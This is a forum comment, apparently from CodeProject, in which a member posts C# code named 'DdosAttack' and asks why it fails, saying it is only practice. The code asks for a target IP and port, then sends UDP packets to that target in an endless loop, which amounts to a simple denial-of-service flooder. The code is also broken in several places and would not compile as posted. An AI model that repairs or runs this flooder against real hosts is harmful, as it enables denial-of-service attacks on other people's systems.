15,909,530 members
Sign in
Sign in
Email
Password
Forgot your password?
Sign in with
home
articles
Browse Topics
>
Latest Articles
Top Articles
Posting/Update Guidelines
Article Help Forum
Submit an article or tip
Import GitHub Project
Import your Blog
quick answers
Q&A
Ask a Question
View Unanswered Questions
View All Questions
View C# questions
View C++ questions
View Javascript questions
View Visual Basic questions
View Python questions
discussions
forums
CodeProject.AI Server
All Message Boards...
Application Lifecycle
>
Running a Business
Sales / Marketing
Collaboration / Beta Testing
Work Issues
Design and Architecture
Artificial Intelligence
ASP.NET
JavaScript
Internet of Things
C / C++ / MFC
>
ATL / WTL / STL
Managed C++/CLI
C#
Free Tools
Objective-C and Swift
Database
Hardware & Devices
>
System Admin
Hosting and Servers
Java
Linux Programming
Python
.NET (Core and Framework)
Android
iOS
Mobile
WPF
Visual Basic
Web Development
Site Bugs / Suggestions
Spam and Abuse Watch
features
features
Competitions
News
The Insider Newsletter
The Daily Build Newsletter
Newsletter archive
Surveys
CodeProject Stuff
community
lounge
Who's Who
Most Valuable Professionals
The Lounge
The CodeProject Blog
Where I Am: Member Photos
The Insider News
The Weird & The Wonderful
help
?
What is 'CodeProject'?
General FAQ
Ask a Question
Bugs and Suggestions
Article Help Forum
About Us
Search within:
Articles
Quick Answers
Messages
Comments by Member 12354696 (Top 1 by date)
Member 12354696
27-Feb-16 0:40am
View
can you help me with this code i am working on something else now what am i dont wrong here? please not the title ddos attack is not to send any attacks to anyone im just using this as a practice workout C# program
anyway heres the code!
using System;
using DdosAttack;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace DdosAttack
{
class Program
{
private Action<object, DdosAttack.Program> button_Click;
public Program(Action<object, DdosAttack.Program> button_Click)
{
{ }
this.button_Click = button_Click;
}
public static string ip;
public static string text;
public static string txtfile;
public static int count = 0;
public static int port;
private Action<object, Program> Button_Click;
Program()
{
NewMethod(button_Click);
}
private static void NewMethod(Action<object, Program> button_Click)
{
var program = this;
program.Button_Click = button_Click;
}
public static void main()
{
if (GetFile())
{
using (StreamReader sr = new StreamReader(txtfile))
text = sr.ReadToEnd();
GetInfo();
while (true)
{
if (Send())
{
count++;
Console.WriteLine($"{count} Packet(s) have been send!");
Thread.Sleep(50);
}
else
{
Console.WriteLine($"Error while sending packets!", ConsoleColor.Red);
Thread.Sleep(50);
}
}
}
else
{
main();
}
}
public static bool GetFile()
{
Console.Write("Type the path to your .txt file: ");
txtfile = Console.ReadLine();
if (File.Exists(txtfile))
return true;
else
return false;
}
public static void GetInfo()
{
Console.Write("IP: ");
ip = Console.ReadLine();
Console.Write("Port: ");
port = Convert.ToInt32(Console.ReadLine());
}
public static bool Send()
{
byte[] packetdata = Encoding.ASCII.GetBytes(text);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), port);
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
try
{
sock.SendTo(packetdata, ep);
return true;
}
catch (Exception ex)
{
return false;
}
}
}
}